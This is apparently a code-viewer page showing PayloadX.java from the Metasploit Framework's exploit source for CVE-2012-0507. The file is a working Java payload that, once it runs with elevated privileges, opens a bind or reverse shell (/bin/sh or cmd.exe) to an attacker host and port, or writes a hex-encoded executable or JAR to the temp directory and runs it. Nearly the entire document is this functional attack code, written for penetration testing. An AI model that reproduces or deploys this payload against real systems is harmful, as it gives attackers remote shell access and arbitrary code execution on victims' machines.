rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2012-0507/msf/x/PayloadX.java

Summary

Maintainability
D
2 days
Test Coverage
package msf.x;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class PayloadX implements PrivilegedExceptionAction
{
    // This will contain a hex string of the native payload to drop and execute.
    public static String data = null;
    public static String jar = null;
    // If no native payload is set we get either a java bind shell or a java
    // reverse shell.
    public static String lhost = null;
    public static int lport = 4444;

    class StreamConnector extends Thread
    {
        InputStream is;
        OutputStream os;

        StreamConnector( InputStream is, OutputStream os )
        {
            this.is = is;
            this.os = os;
        }

        public void run()
        {
            BufferedReader in = null;
            BufferedWriter out = null;
            
            try
            {
                in = new BufferedReader( new InputStreamReader( is ) );
                out = new BufferedWriter( new OutputStreamWriter( os ) );
                char buffer[] = new char[8192];
                int length;
                while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
                {
                    out.write( buffer, 0, length );
                    out.flush();
                }
            }
            catch( Exception e ) {}

            try
            {
                if( in != null )
                    in.close();
                if( out != null )
                    out.close();
            }
            catch( Exception e ) {}
        }
    }

    // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
    public static byte[] StringToBytes( String s )
    {
        byte[] data = new byte[s.length() / 2];

        for( int i = 0 ; i < s.length() ; i += 2 )
            data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );

        return data;
    }

    public Object run() throws Exception
    {
        //System.out.println("Running");
        // if the native payload data has not been set just return for now, it
        // will be set by the next time we reach here.
        if( PayloadX.data == null && PayloadX.jar == null )
            return null;
        //System.out.println("have either data or jar");
        
        try
        {
            String os = System.getProperty( "os.name" );

            //System.out.println("OS: " + os);
            // if we have no native payload to drop and execute we default to
            // either a TCP bind or reverse shell.
            if(
                    (PayloadX.data == null || PayloadX.data.length() == 0) &&
                    (PayloadX.jar  == null || PayloadX.jar.length() == 0)
            ) {
                //System.out.println("no, exe/jar. Doing shell");
                Socket client_socket = null;

                String shell = "/bin/sh";

                if( os.indexOf( "Windows" ) >= 0 )
                    shell = "cmd.exe";

                if( PayloadX.lhost == null )
                {
                    ServerSocket server_socket = new ServerSocket( PayloadX.lport );
                    client_socket = server_socket.accept();
                }
                else
                {
                    client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
                }

                if( client_socket != null )
                {
                    Process process = exec( shell );
                    if( process != null )
                    {
                        ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
                        ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
                    }
                }
            }
            else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
            {
                //System.out.println("Dropping JAR");
                String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";

                writeFile( path, StringToBytes( PayloadX.jar ) );
                exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
            }
            else
            {
                //System.out.println("Dropping EXE");
                String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";

                writeFile( path, StringToBytes( PayloadX.data ) );
                if( os.indexOf( "Windows" ) < 0 )
                {
                    exec( "chmod 755 " + path );
                }
                exec( path );
                new File( path ).delete();
            }
        }
        catch( Exception e ) {
            //System.out.println(e);
        }
        
        return null;
    }

    public Process exec( String path )
    {
        Process p = null;
        //System.out.println( "Executing" );
        try {
            p = Runtime.getRuntime().exec( path );
            if( p == null ) 
            {
                //System.out.println( "Null process, crap" ); 
            }
            p.waitFor();
        } catch( Exception e ) {
            //System.out.println(e);
        }
        return p;
    }

    public void writeFile( String path, byte[] data )
    {
        //System.out.println( "Writing file" );
        try {
            FileOutputStream fos = new FileOutputStream( path );

            fos.write( data );
            fos.close();
        } catch( Exception e ) {
            //System.out.println(e);
        }
    }
    
    public PayloadX()
    {
        try
        {
            AccessController.doPrivileged( this );
        }
        catch( Exception e ) {
            //System.out.println(e);
        }
    }
}